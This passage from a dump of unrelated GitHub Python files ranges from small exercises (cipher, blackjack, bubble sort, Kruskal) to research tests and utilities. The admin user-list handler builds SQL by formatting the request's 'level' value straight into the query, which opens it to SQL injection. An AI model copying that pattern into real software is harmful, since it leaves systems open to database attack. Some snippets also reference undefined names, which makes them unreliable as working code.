return '-'.join([':'.join([ch, str(pos_st)]), str(pos_end)])\n elif ':' in cpg:\n ch = cpg.split(':')[0]\n pos_st, pos_end = cpg.split(':')[1].split('-')\n pos_st, pos_end = int(pos_st), int(pos_end)\n return '_'.join([ch, str(pos_st)])\n except:\n return \"None\"\n\ndef get_score(cpg, bw, format_from='chr_pos', score='phyloP', assembly='hg38'):\n try:\n if format_from == 'chr_pos':\n cpg = convert_cpgs_notations(cpg)\n ch = cpg.split(':')[0]\n pos_st, pos_end = cpg.split(':')[1].split('-')\n pos_st, pos_end = int(pos_st), int(pos_end)\n return bw.values(ch, pos_st, pos_end)[0]\n # if score == 'phyloP':\n # if assembly == 'hg38':\n # return bw.values(ch, pos_st, pos_end)[0]\n # elif assembly == 'hg19':\n # return bw.values(ch, pos_st, pos_end)[0]\n # elif assembly == 'mm10':\n # return bw.values(ch, pos_st, pos_end)[0]\n # elif score == 'phastCons':\n # if assembly == 'hg38':\n # return bw.values(ch, pos_st, pos_end)[0]\n # elif assembly == 'hg19':\n # return bw.values(ch, pos_st, pos_end)[0]\n # elif assembly == 'mm10':\n # return bw.values(ch, pos_st, pos_end)[0]\n\n except:\n return np.nan","repo_name":"TarkhovAndrei/scDNAm","sub_path":"meth/conservation.py","file_name":"conservation.py","file_ext":"py","file_size_in_byte":2050,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"10441212810","text":"# Digital cypher\r\n# https://www.codewars.com/kata/592e830e043b99888600002d/train/python\r\n\r\n# 나의 풀이\r\ndef encode(message, key):\r\n alpha = \"abcdefghijklmnopqrstuvwxyz\"\r\n keys = list(map(int, str(key)))\r\n return [alpha.index(m)+1 + keys[idx % len(str(key))] for idx, m in enumerate(message)]\r\n\r\n# 다른 사람의 풀이\r\nfrom itertools import cycle\r\ndef encode1(message, key):\r\n return [ord(a) - 96 + int(b) for a,b in zip(message,cycle(str(key)))]\r\n\r\nprint(encode(\"scout\", 1939),\r\n [20, 12, 18, 30, 21])\r\nprint(encode(\"masterpiece\", 1939),\r\n [14, 10, 22, 29, 6, 27, 19, 18, 6, 12, 8])","repo_name":"whyj107/CodeWar","sub_path":"20220525_Digital cypher.py","file_name":"20220525_Digital cypher.py","file_ext":"py","file_size_in_byte":612,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"35800273137","text":"\"\"\"\r\nNessa aula, vamos ver como o Python permite tratar erros e criar respostas\r\na essas exceções. Aprenda como usar a estrutura try except no Python de uma forma simples.\r\n\"\"\"\r\n# x não foi inicializado, isso é uma exceção.\r\n# print(x)\r\n\r\n\r\n# n = int(input('Digite um número: '))\r\n# print(f'Você digitou o número {n}')\r\n\r\n# Não teve erro, teve uma exceção devido o tipo do input.\r\n# ValueError: invalid literal for int() with base 10: 'Dez'.\r\n\r\n# --------------------------------------\r\ntry:\r\n a = int(input('Numerador: '))\r\n b = int(input('Denominador: '))\r\n r = a / b\r\n# except:\r\n# print('Deu erro! :(')\r\n\r\n# except Exception as erro:\r\n# print(f'Problema encontrado foi {erro.__class__}.')\r\nexcept (ValueError, TypeError):\r\n print('Tivemos um problema com os tipos de dados que você digitou.')\r\nexcept KeyboardInterrupt:\r\n print('O usuário preferiu finalizar o programa.')\r\n\r\nexcept Exception as erro:\r\n print(f'O erro encontrado foi{erro.__cause__}')\r\nelse:\r\n print(f'A divisão é igual a {r:.1f}.')\r\nfinally:\r\n print('Volte sempre!')\r\n# ----------------------\r\n# Excção ao tentar dividir por zero.\r\n# ZeroDivisionError: division by zero.\r\n\r\n\r\nlst = [0, 1, 2]\r\n# print(lst[3])\r\n# Exceção, tentar exibir o índice 3, ele não existe.\r\n\r\n\r\n\"\"\"\r\ntry: #TENTE\r\n operação\r\n\r\nexcept # Exceção\r\nfalhou\r\n\r\nelse: # Senão\r\n deu certo\r\n \r\nfinally: \r\n certo/falha\r\n\"\"\"\r\n","repo_name":"MattheusOliveiraBatista/Python3_Mundo03_CursoEmVideo","sub_path":"Aulas Python/Aula_023_Tratamentos_De_Erros_e_Exceções.py","file_name":"Aula_023_Tratamentos_De_Erros_e_Exceções.py","file_ext":"py","file_size_in_byte":1413,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"30922541793","text":"from shapercore.Modules.metaclass.Module_Data import Data\n\n\nclass Group(Data):\n def __init__(self, name, columns):\n self._name = name\n self._columns = columns\n\n def visit(self, featureset):\n try:\n target = str(self._name)\n frame = featureset.get_dataframe()\n\n # create new column (containing matrix)\n frame[target] = list(frame[self._columns].values)\n\n # get correct index for new column\n columns = list(frame)\n lowest_index = len(columns) - 1\n for column in columns:\n if column in self._columns:\n lowest_index = columns.index(column)\n\n # insert column name into columns-list and drop last entry\n columns.insert(lowest_index, target)\n columns.pop()\n\n # reindex list, drop not-grouped columns\n frame = frame.reindex(columns, axis=1)\n frame = frame.drop(columns=self._columns, axis=1)\n\n featureset.set_dataframe(frame)\n\n except Exception as error:\n Util.print_error(\"Unable to Group Features: \" + str(error))\n Util.print_detailed_error()\n","repo_name":"MarcelHimmelreich/shaperML","sub_path":"shapercore/Modules/data/manipulation/group.py","file_name":"group.py","file_ext":"py","file_size_in_byte":1191,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"16399390575","text":"def hand_score(hand):\n \"\"\"Calculate the score of a single hand\n \"\"\"\n \n # set score and aces to zero\n hand_score = 0\n hand_aces = 0\n \n # check all cards\n for card in hand:\n # if number card \n if card not in ['A', 'J', 'Q', 'K']:\n hand_score += int(card)\n # if picture card\n elif card != 'A': hand_score += 10\n # if ace\n else: hand_aces += 1\n\n # check if bust or if at 21 with aces still to add\n if hand_score > 21 or (hand_score == 21 and hand_aces > 0): return 0\n \n # determine the possible scores given the number of aces\n possible_ace_scores = []\n for i in range(hand_aces + 1):\n possible_ace_scores.append(i*11 + (hand_aces - i)*1) \n \n # determine combinations of aces that gives the highest score without \n # busting\n max_score = hand_score\n for ace_score in possible_ace_scores:\n temp = hand_score + ace_score\n if max_score < temp <= 21:\n max_score = temp\n hand_score = max_score \n \n # if bust\n if hand_score > 21: return 0\n \n return hand_score\n\n \n\ndef blackjack_hand_greater_than(hand_1, hand_2):\n \"\"\"\n Return True if hand_1 beats hand_2, and False otherwise.\n \n In order for hand_1 to beat hand_2 the following must be true:\n - The total of hand_1 must not exceed 21\n - The total of hand_1 must exceed the total of hand_2 OR hand_2's total \n must exceed 21\n \n Hands are represented as a list of cards. Each card is represented by a \n string.\n \n When adding up a hand's total, cards with numbers count for that many \n points. Face cards ('J', 'Q', and 'K') are worth 10 points. 'A' can count \n for 1 or 11.\n \n When determining a hand's total, you should try to count aces in the way \n that maximizes the hand's total without going over 21. e.g. the total of \n ['A', 'A', '9'] is 21, the total of ['A', 'A', '9', '3'] is 14.\n \n Examples:\n >>> blackjack_hand_greater_than(['K'], ['3', '4'])\n True\n >>> blackjack_hand_greater_than(['K'], ['10'])\n False\n >>> blackjack_hand_greater_than(['K', 'K', '2'], ['3'])\n False\n \"\"\"\n hand_1_score = hand_score(hand_1)\n hand_2_score = hand_score(hand_2)\n return hand_1_score > hand_2_score\n\ndef main():\n \"\"\"Main function\n \"\"\"\n\n # set hands\n hand_1 = ['2', 'A', '5', 'Q', '4']\n hand_2 = ['J', '4', '3', 'A', '10']\n\n # determine if hand one beats hand two\n hand_1_better = blackjack_hand_greater_than(hand_1, hand_2)\n if hand_1_better: print(\"Hand 1 beats hand 2\")\n else: print(\"Hand 1 doesn't beat hand 2\")\n\n\n# run file\nif __name__ == \"__main__\":\n main()","repo_name":"C-Kitching/Mini-Programming-Problems","sub_path":"Completed Mini Problems/blackjack.py","file_name":"blackjack.py","file_ext":"py","file_size_in_byte":2694,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"8380314894","text":"def divisors(num):\n divisors = [i for i in range(1, num + 1) if num % i == 0]\n\n return divisors\n\ndef run():\n num = input('Ingresa un numero: ')\n assert num.isnumeric(), f'{num} no es un numero, debes ingresar un numero'\n print(divisors(int(num)))\n print(\"Termino mi programa\")\n\nif __name__ == '__main__':\n run()","repo_name":"backDAJG/comprehensions_lambdas_manejo_errores","sub_path":"assert_statements.py","file_name":"assert_statements.py","file_ext":"py","file_size_in_byte":332,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"72907827763","text":"import asyncio\nimport ast\nimport json\nfrom sqlalchemy import select\nfrom datawrapper.sqlBaseMgr import classSqlBaseMgr\nfrom gmweb.utils.models import *\nimport logging\nfrom error.errorCode import exceptionLogic, errorLogic\nfrom gmweb.utils.tools import token_required, permission_required\nfrom lib.constants import MSG_PAGE_COUNT\nfrom lib.jsonhelp import classJsonDump\nfrom lib.timehelp.timeHelp import getNow\nfrom osssvr.utils.models import tb_dj_admin_action_bill\n\n\nclass cData():\n def __init__(self):\n self.phone = \"\"\n # self.accountId = \"\"\n # # self.headAddress = \"\"\n\nclass cResp():\n def __init__(self):\n self.ret = 0\n self.retDes = \"\"\n self.data = []\n self.count=0\n\n@token_required\n@permission_required('用户列表查询')\n@asyncio.coroutine\ndef handleHttp(request: dict):\n # 根据条件查询数据库用户信息\n level=request.get('level','')\n pn=request.get('pn',1)\n try:\n pn = int(pn)\n except Exception as e:\n logging.debug(errorLogic.client_param_invalid)\n raise errorLogic.client_param_invalid\n\n conn = classSqlBaseMgr.getInstance()\n try:\n sql=\"select * from dj_account \"\n if level:\n sql=sql+\"where level={} \".format(level)\n count_sql=sql.replace(r'*','count(accountId)',1)\n list_sql=sql+\"order by loginTime desc limit {} offset {}\".format(MSG_PAGE_COUNT,(pn-1)*MSG_PAGE_COUNT)\n counRet=yield from conn._exeCute(count_sql)\n countRes=yield from counRet.fetchone()\n resp=cResp()\n resp.count = countRes[0]\n listRet=yield from conn._exeCute(list_sql)\n listRes=yield from listRet.fetchall()\n\n for user in listRes:\n data=cData()\n data.accountId=user['accountId']\n data.realName=user['realName']\n data.level=user['level']\n data.lastPBCRefreshTime = user['lastPBCRefreshTime']\n data.coin=\"%.2f\"%round(user['coin']/100,2)\n if user['pingboCoin'] is None:\n data.pingboCoin = 0\n else:\n data.pingboCoin=\"%.2f\"%round(user['pingboCoin']/100,2)\n\n if user['shabaCoin'] is None:\n data.shabaCoin = 0\n else:\n data.shabaCoin=\"%.2f\"%round(user['shabaCoin']/100,2)\n\n data.phone=user['phone']\n data.userType=user['userType']\n data.loginTime=user['loginTime']\n data.agentId=user['agentId']\n resp.data.append(data)\n\n if pn==1:\n fileName = __name__\n nameList = fileName.split('.')\n methodName = nameList.pop()\n # 日志\n dictActionBill = {\n 'billType': 'adminActionBill',\n 'accountId': request.get('accountId', ''),\n 'action': \"查询用户列表\",\n 'actionTime': getNow(),\n 'actionMethod': methodName,\n 'actionDetail': \"查询等级为:{} 用户列表\".format(level),\n 'actionIp': request.get('srcIp', ''),\n }\n logging.getLogger('bill').info(json.dumps(dictActionBill))\n\n\n return classJsonDump.dumps(resp)\n except Exception as e:\n logging.debug(e)\n raise e\n\n\n","repo_name":"evrimulgen/probet-1","sub_path":"probet/server/gmweb/handle/player/account_manage/getUserInfoListByParams.py","file_name":"getUserInfoListByParams.py","file_ext":"py","file_size_in_byte":3272,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"69980250484","text":"\"\"\"\nexam: 04. Kruskal's Algorithm\njudge: https://judge.softuni.org/Contests/Compete/Index/3464#3\n\nMinimum Spanning Tree (MST) with Kruskal's algorithm\n - Create a forest F holding all graph vertices and no edges\n - Create a set S holding all edges in the graph\n - While S is non-empty\n - Remove the edge e with min weight\n - If e connects two different trees\n - Add e to the forest\n - Join these two trees into a single tree\n- The graph may not be connected\n\"\"\"\n\n\nclass Edge:\n def __init__(self, first, second, weight):\n self.first = first\n self.second = second\n self.weight = weight\n\n\ndef find_root(parent, node):\n while node != parent[node]:\n node = parent[node]\n\n # return root when node is root for him self\n return node\n\n\nedges = int(input())\ngraph = []\n\n# used it to found max node, to determinate size of parent array\nmax_node = float('-inf')\n\nfor _ in range(edges):\n first, second, weight = [int(x) for x in input().split(', ')]\n graph.append(Edge(first, second, weight))\n max_node = max(first, second, max_node)\n\n# create parent array where initially all nodes has themselves as root\n# node (idx) 0 1 2 3 4 ... max_node\n# parent 0 1 2 3 4 ... max_node\nparent = [n for n in range(max_node + 1)]\n\n# create array to store edges\nforest = []\n\nfor edge in sorted(graph, key=lambda e: e.weight):\n first_node_root = find_root(parent, edge.first)\n second_node_root = find_root(parent, edge.second)\n\n # if True, attaches first_root to second_root\n if first_node_root != second_node_root:\n parent[first_node_root] = second_node_root\n forest.append(edge)\n\n[print(f'{edge.first} - {edge.second}') for edge in forest]\n","repo_name":"tonytech83/Algorithms-with-Python","sub_path":"04_Graphs_Shortest_Path_and_MST/01_Lab/04_kruskal_algorithm.py","file_name":"04_kruskal_algorithm.py","file_ext":"py","file_size_in_byte":1718,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"75"} +{"seq_id":"31533091162","text":"\"\"\"\r\nMa'lumotlar tuzilmasi va algoritimlar\r\n\r\n# 12 - dars Bubble sort \r\n\r\nDoston Kamolov\r\n\r\n\"\"\"\r\n\"\"\"\r\n\r\n BUBBLE SORT \r\n \r\nEng soda tartiblash algoritmi\r\nQo'shni elemnetlarni solishtirish va o'rnini almashtirish orqali\r\nishlaydi.\r\n\r\n\"\"\"\r\n\r\ndef bubbleSort(array: list) -> list:\r\n for i in range(len(array)):\r\n for j in range(len(array)-i-1):\r\n if array[j]>array[j+1]:\r\n array[j], array[j+1] = array[j+1], array[j]\r\n print(array)\r\n \r\n\r\nif __name__ == '__main__':\r\n array = [5, 2, 3, 8, 0, 4, 6, 7, 1]\r\n print(array)\r\n bubbleSort(array)\r\n # print(array)","repo_name":"dosya6161/algorithm","sub_path":"algarotim-lessons/12-dars-bubble-sort/bubblesort.py","file_name":"bubblesort.py","file_ext":"py","file_size_in_byte":618,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"31576744562","text":"import re\nimport sys\nimport platform\nimport psutil\n\nreg1 = r'^[a-zA-Z]:[/\\\\]'\nreg2 = r'[/|\\\\]'\nregp = re.compile(reg2)\n\n\ndef split_os_path(path):\n absolute = ''\n if check_system() == 0:\n if path[0] == '/' or path[0] == '\\\\':\n absolute = '/'\n path = path[1:]\n else:\n result = re.match(reg1, path)\n if result is not None:\n absolute = result.group()\n path = path[len(absolute):]\n absolute = absolute.replace('/', '').replace('\\\\', '')\n path_list = list(filter(None, regp.split(path)))\n\n path_dict = {'absolute': absolute, 'path': path_list}\n return path_dict\n\n\ndef find_os_path(a, b):\n # 获取to_find_path_list在target_path_list中的位置,不存在返回(-1,-1),若重复,则返回最右面那个\n start = -1\n end = -1\n flag = 0\n if len(b) > len(a):\n return -1, -1\n b0_list = [i for i, x in enumerate(a) if x == b[0]]\n if len(b0_list) == 0:\n return -1, -1\n flag = False\n for i in reversed(b0_list):\n flag = False\n for j in range(len(b)):\n if not b[j] == a[i + j]:\n flag = True\n break\n if flag:\n continue\n return i, i + len(b)\n return -1, -1\n\n\ndefault_system = ''\n\n\ndef get_sys_name(set_system=''):\n global default_system\n if set_system != '':\n default_system = set_system\n if default_system != '':\n return default_system\n if platform.system() == \"Darwin\":\n return \"Linux\"\n else:\n return platform.system()\n\n\ndef check_system():\n sys_name = get_sys_name()\n if sys_name == 'Linux':\n return 0\n elif sys_name == 'Windows':\n return 1\n elif sys_name == 'Darwin':\n # macos\n return 0\n else:\n print('Unknown System', sys_name)\n return 1\n\n\ndef check_module_import(mod_name):\n if mod_name in sys.modules:\n return True\n else:\n return False\n\n\ndef check_apache():\n try:\n from mod_wsgi import version\n return True\n except:\n return False\n\n\ndef print_sys_info():\n print('[SYSTEM] System Version:' + ' ' + str(platform.platform()) + ' ' + str(platform.architecture()[0]))\n print('[SYSTEM] Python Version:' + ' ' + str(platform.python_version()) + ' ' + str(platform.python_compiler()))\n if check_apache():\n from mod_wsgi import version\n print('[SYSTEM] Module mod_wsgi Version:' + ' ' + str(version))\n else:\n print('[SYSTEM] No mod_wsgi')\n print('[SYSTEM] CPU Physical Core Number:' + ' ' + str(psutil.cpu_count(logical=False)))\n available_memory_size = round(psutil.virtual_memory().available / 1024 / 1024 / 1024, 2)\n total_memory_size = round(psutil.virtual_memory().total / 1024 / 1024 / 1024, 2)\n print('[SYSTEM] Available Memory Size:' + ' ' + str(available_memory_size) + '/' + str(total_memory_size) + 'GB')\n","repo_name":"jiangnianshun/django-mdict","sub_path":"base/base_sys.py","file_name":"base_sys.py","file_ext":"py","file_size_in_byte":2914,"program_lang":"python","lang":"en","doc_type":"code","stars":43,"dataset":"github-code","pt":"75"} +{"seq_id":"42947404072","text":"#!/usr/bin/env python2\n# Converts Linux font character array to PNG.\n\nimport sys\n# Python Imaging Library\n# http://www.pythonware.com/products/pil/\nimport Image\n\ndef readSource(inp):\n\tdata = []\n\tmeta = {}\n\tinData = False\n\tinMeta = False\n\tfor line in inp.readlines():\n\t\tcsta = line.find('/*')\n\t\tif csta != -1:\n\t\t\tcend = line.index('*/') + 2\n\t\t\tline = line[ : csta] + line[cend : ]\n\t\tline = line.strip()\n\t\tif inData:\n\t\t\tif line == '};':\n\t\t\t\tinData = False\n\t\t\telif line:\n\t\t\t\tvalStr = line.rstrip(',')\n\t\t\t\t# Chars wider than 8 not supported yet.\n\t\t\t\tassert ',' not in valStr\n\t\t\t\tdata.append(int(valStr, 16))\n\t\telif inMeta:\n\t\t\tif line == '};':\n\t\t\t\tinMeta = False\n\t\t\telif line:\n\t\t\t\tkey, value = line.split('=')\n\t\t\t\tkey = key.strip().lstrip('.')\n\t\t\t\tvalue = value.strip().rstrip(',')\n\t\t\t\tmeta[key] = value\n\t\telif line.startswith('static const unsigned char'):\n\t\t\tassert line[-1] == '{'\n\t\t\tinData = True\n\t\telif line.startswith('const struct font_desc'):\n\t\t\tassert line[-1] == '{'\n\t\t\tinMeta = True\n\treturn data, meta\n\ndef createImage(width, height, data):\n\tassert len(data) == height * 256\n\n\t# Reserve space for a 32 * 8 grid of characters.\n\timage = Image.new('P', (32 * (width + 1) + 1, 8 * (height + 1) + 1))\n\tpalette = [0, 0, 0] * 256\n\tpalette[3 : 6] = [255, 255, 255] # foreground\n\tpalette[6 : 9] = [128, 0, 0] # grid\n\timage.putpalette(palette)\n\n\t# Draw grid.\n\tfor y in xrange(0, image.size[1], height + 1):\n\t\tfor x in xrange(0, image.size[0]):\n\t\t\timage.putpixel((x, y), 2)\n\tfor x in xrange(0, image.size[0], width + 1):\n\t\tfor y in xrange(0, image.size[1]):\n\t\t\timage.putpixel((x, y), 2)\n\n\t# Draw characters.\n\tfor c in xrange(256):\n\t\trow, col = divmod(c, 32)\n\t\ty = 1 + row * (height + 1)\n\t\tfor i in xrange(c * height, (c + 1) * height):\n\t\t\tx = 1 + col * (width + 1)\n\t\t\tpat = data[i]\n\t\t\tfor bit in xrange(width):\n\t\t\t\tif pat & 128:\n\t\t\t\t\timage.putpixel((x, y), 1)\n\t\t\t\tpat <<= 1\n\t\t\t\tx += 1\n\t\t\ty += 1\n\treturn image\n\nif len(sys.argv) != 2:\n\tprint >>sys.stderr, 'Usage: python font2png.py '\n\tsys.exit(2)\nelse:\n\tfileName = sys.argv[1]\n\tassert fileName.endswith('.c')\n\toutFileName = fileName[ : -2] + '.png'\n\ninp = open(fileName, 'r')\ntry:\n\tdata, meta = readSource(inp)\nfinally:\n\tinp.close()\nwidth = int(meta['width'])\nheight = int(meta['height'])\nimage = createImage(width, height, data)\nimage.save(outFileName)\n","repo_name":"kyak/setfont2","sub_path":"kernel-6x10/font2png.py","file_name":"font2png.py","file_ext":"py","file_size_in_byte":2312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"27641303998","text":"\nfrom modbus.modbus import modbus\nimport time\nimport datetime\n\nSERVER_HOST = \"10.1.15.49\"\nSERVER_PORT = 502\n\nc = ModbusClient()\nc.set_plc_address(SERVER_HOST)\nc.set_plc_port(SERVER_PORT)\n\nwhile True:\n if not c.plc_port_is_open():\n if not c.plc_port_open():\n print(\"unable to connect to \"+SERVER_HOST+\":\"+str(SERVER_PORT))\n if c.plc_port_is_open():\n regs = c.modbus_read_holding_registers(100, 48)\n if regs:\n print(\"Received data # \"+str(regs))\n time.sleep(1)\n\n\n","repo_name":"atakanakbulut/modbus_tcp_python","sub_path":"tester.py","file_name":"tester.py","file_ext":"py","file_size_in_byte":514,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"31461477984","text":"import pytest\nimport tests.utilities as testutil\n\nfrom mbtk.algorithms.mb.iamb import AlgorithmIAMB\nimport mbtk.math.G_test__unoptimized\nimport mbtk.math.DoFCalculators as DoFCalculators\nimport mbtk.math.DSeparationCITest\nfrom mbtk.math.CMICalculator import CMICalculator\nfrom mbtk.math.BNCorrelationEstimator import BNCorrelationEstimator\n\n\nDebugLevel = 0\nCITestDebugLevel = 0\nCITestSignificance = 0.8\n\n\n@pytest.fixture(scope='session')\ndef testfolders():\n folders = dict()\n root = testutil.ensure_empty_tmp_subfolder('test_iamb_with_gtests')\n\n subfolders = ['ci_test_results', 'heuristic_results']\n for subfolder in subfolders:\n path = root / subfolder\n path.mkdir(parents=True, exist_ok=True)\n folders[subfolder] = path\n\n folders['root'] = root\n return folders\n\n\n\n@pytest.mark.slow\ndef test_iamb_timing__unoptimized(ds_alarm_8e3):\n ds = ds_alarm_8e3\n parameters = make_parameters__unoptimized(DoFCalculators.StructuralDoF)\n parameters_dsep = make_parameters__dsep()\n\n print()\n\n total_mb_errors = 0\n\n targets = range(ds.datasetmatrix.get_column_count('X'))\n for target in targets:\n mb, _, _ = run_IAMB(ds, target, parameters)\n mb_dsep, _, _ = run_IAMB(ds, target, parameters_dsep)\n mb_error = set(mb).symmetric_difference(mb_dsep)\n print('mb error', f'({len(mb_error)})', mb_error)\n total_mb_errors += len(mb_error)\n\n print('Total MB errors', total_mb_errors)\n\n\n@pytest.mark.slow\ndef test_iamb_correctness__unoptimized(ds_lc_repaired_8e3):\n \"\"\"\n This test ensures that IAMB correctly finds all the MBs\n in the repaired LUNGCANCER dataset when using the unoptimized G-test.\n \"\"\"\n ds = ds_lc_repaired_8e3\n parameters = make_parameters__unoptimized(DoFCalculators.StructuralDoF)\n parameters_dsep = make_parameters__dsep()\n\n targets = range(ds.datasetmatrix.get_column_count('X'))\n for target in targets:\n mb, _, _ = run_IAMB(ds, target, parameters)\n mb_dsep, _, _ = run_IAMB(ds, target, parameters_dsep)\n assert mb == mb_dsep\n\n\n\ndef run_IAMB(ds, target, parameters):\n iamb = make_IAMB(ds, target, parameters)\n mb = iamb.discover_mb()\n ci_tests = iamb.CITest.ci_test_results\n return (mb, ci_tests, iamb)\n\n\n\ndef make_IAMB(ds, target, extra_parameters=None):\n if extra_parameters is None:\n extra_parameters = dict()\n\n parameters = dict()\n parameters['target'] = target\n parameters['ci_test_debug'] = CITestDebugLevel\n parameters['ci_test_significance'] = CITestSignificance\n parameters['ci_test_results__print_accurate'] = False\n parameters['ci_test_results__print_inaccurate'] = True\n parameters['algorithm_debug'] = DebugLevel\n parameters['omega'] = ds.omega\n parameters['source_bayesian_network'] = ds.bayesiannetwork\n\n parameters.update(extra_parameters)\n iamb = AlgorithmIAMB(ds.datasetmatrix, parameters)\n return iamb\n\n\n\ndef make_parameters__unoptimized(dof_class):\n parameters = dict()\n parameters['ci_test_class'] = mbtk.math.G_test__unoptimized.G_test\n parameters['ci_test_dof_calculator_class'] = dof_class\n parameters['ci_test_gc_collect_rate'] = 0\n parameters['correlation_heuristic_class'] = CMICalculator\n parameters['heuristic_pmf_source'] = 'datasetmatrix'\n return parameters\n\n\n\ndef make_parameters__dsep():\n parameters = dict()\n parameters['ci_test_class'] = mbtk.math.DSeparationCITest.DSeparationCITest\n parameters['ci_test_debug'] = 0\n parameters['algorithm_debug'] = 0\n parameters['correlation_heuristic_class'] = BNCorrelationEstimator\n return parameters\n","repo_name":"camilbancioiu/mbtk","sub_path":"tests/test_AlgorithmIAMBWithGTests.py","file_name":"test_AlgorithmIAMBWithGTests.py","file_ext":"py","file_size_in_byte":3616,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"75"} +{"seq_id":"8875804895","text":"from typing import Dict, Optional, Tuple\n\nimport numpy as np\nimport pytest\n\nimport nnabla as nn\nimport nnabla.functions as NF\nimport nnabla.parametric_functions as NPF\nimport nnabla_rl.algorithms as A\nimport nnabla_rl.environments as E\nfrom nnabla_rl.builders.model_builder import ModelBuilder\nfrom nnabla_rl.models import DiscreteQuantileDistributionFunction, QuantileDistributionFunction\nfrom nnabla_rl.replay_buffer import ReplayBuffer\n\n\nclass RNNQuantileDistributionFunction(DiscreteQuantileDistributionFunction):\n def __init__(self, scope_name: str, n_action: int, n_quantile: int):\n super().__init__(scope_name, n_action, n_quantile)\n self._h = None\n self._c = None\n\n self._lstm_state_size = 512\n\n def all_quantiles(self, s: nn.Variable) -> nn.Variable:\n batch_size = s.shape[0]\n with nn.parameter_scope(self.scope_name):\n with nn.parameter_scope(\"conv1\"):\n h = NPF.convolution(s, outmaps=32, stride=(4, 4), kernel=(8, 8))\n h = NF.relu(x=h)\n with nn.parameter_scope(\"conv2\"):\n h = NPF.convolution(h, outmaps=64, kernel=(4, 4), stride=(2, 2))\n h = NF.relu(x=h)\n with nn.parameter_scope(\"conv3\"):\n h = NPF.convolution(h, outmaps=64, kernel=(3, 3), stride=(1, 1))\n h = NF.relu(x=h)\n h = NF.reshape(h, shape=(batch_size, -1))\n with nn.parameter_scope(\"affine1\"):\n if not self._is_internal_state_created():\n # automatically create internal states if not provided\n batch_size = h.shape[0]\n self._create_internal_states(batch_size)\n self._h, self._c = NPF.lstm_cell(h, self._h, self._c, self._lstm_state_size)\n h = self._h\n h = NF.relu(x=h)\n with nn.parameter_scope(\"affine2\"):\n h = NPF.affine(h, n_outmaps=self._n_action * self._n_quantile)\n quantiles = NF.reshape(\n h, (-1, self._n_action, self._n_quantile))\n assert quantiles.shape == (batch_size, self._n_action, self._n_quantile)\n return quantiles\n\n def is_recurrent(self) -> bool:\n return True\n\n def internal_state_shapes(self) -> Dict[str, Tuple[int, ...]]:\n shapes: Dict[str, nn.Variable] = {}\n shapes['lstm_hidden'] = (self._lstm_state_size, )\n shapes['lstm_cell'] = (self._lstm_state_size, )\n return shapes\n\n def get_internal_states(self) -> Dict[str, nn.Variable]:\n states: Dict[str, nn.Variable] = {}\n states['lstm_hidden'] = self._h\n states['lstm_cell'] = self._c\n return states\n\n def set_internal_states(self, states: Optional[Dict[str, nn.Variable]] = None):\n if states is None:\n if self._h is not None:\n self._h.data.zero()\n if self._c is not None:\n self._c.data.zero()\n else:\n self._h = states['lstm_hidden']\n self._c = states['lstm_cell']\n\n def _create_internal_states(self, batch_size):\n self._h = nn.Variable((batch_size, self._lstm_state_size))\n self._c = nn.Variable((batch_size, self._lstm_state_size))\n\n self._h.data.zero()\n self._c.data.zero()\n\n def _is_internal_state_created(self) -> bool:\n return self._h is not None and self._c is not None\n\n\nclass TestQRDQN(object):\n def setup_method(self, method):\n nn.clear_parameters()\n\n def test_algorithm_name(self):\n dummy_env = E.DummyDiscreteImg()\n qrdqn = A.QRDQN(dummy_env)\n\n assert qrdqn.__name__ == 'QRDQN'\n\n def test_continuous_action_env_unsupported(self):\n \"\"\"Check that error occurs when training on continuous action env.\"\"\"\n dummy_env = E.DummyContinuous()\n config = A.QRDQNConfig()\n with pytest.raises(Exception):\n A.QRDQN(dummy_env, config=config)\n\n def test_run_online_training(self):\n \"\"\"Check that no error occurs when calling online training.\"\"\"\n dummy_env = E.DummyDiscreteImg()\n config = A.QRDQNConfig()\n config.start_timesteps = 5\n config.batch_size = 5\n config.learner_update_frequency = 1\n config.target_update_frequency = 1\n qrdqn = A.QRDQN(dummy_env, config=config)\n\n qrdqn.train_online(dummy_env, total_iterations=10)\n\n def test_run_online_training_multistep(self):\n \"\"\"Check that no error occurs when calling online training.\"\"\"\n dummy_env = E.DummyDiscreteImg()\n config = A.QRDQNConfig()\n config.num_steps = 2\n config.start_timesteps = 5\n config.batch_size = 5\n config.learner_update_frequency = 1\n config.target_update_frequency = 1\n qrdqn = A.QRDQN(dummy_env, config=config)\n\n qrdqn.train_online(dummy_env, total_iterations=10)\n\n def test_run_online_rnn_training(self):\n \"\"\"Check that no error occurs when calling online training with RNN\n model.\"\"\"\n class RNNModelBuilder(ModelBuilder[QuantileDistributionFunction]):\n def build_model(self, scope_name: str, env_info, algorithm_config, **kwargs):\n n_action = env_info.action_dim\n n_quantile = algorithm_config.num_quantiles\n return RNNQuantileDistributionFunction(scope_name, n_action, n_quantile)\n dummy_env = E.DummyDiscreteImg()\n config = A.QRDQNConfig()\n config.num_steps = 2\n config.unroll_steps = 2\n config.burn_in_steps = 2\n config.start_timesteps = 7\n config.batch_size = 2\n config.learner_update_frequency = 1\n config.target_update_frequency = 1\n qrdqn = A.QRDQN(dummy_env, config=config, quantile_dist_function_builder=RNNModelBuilder())\n\n qrdqn.train_online(dummy_env, total_iterations=10)\n\n def test_run_offline_training(self):\n dummy_env = E.DummyDiscreteImg()\n batch_size = 5\n config = A.QRDQNConfig()\n config.batch_size = batch_size\n config.learner_update_frequency = 1\n config.target_update_frequency = 1\n\n qrdqn 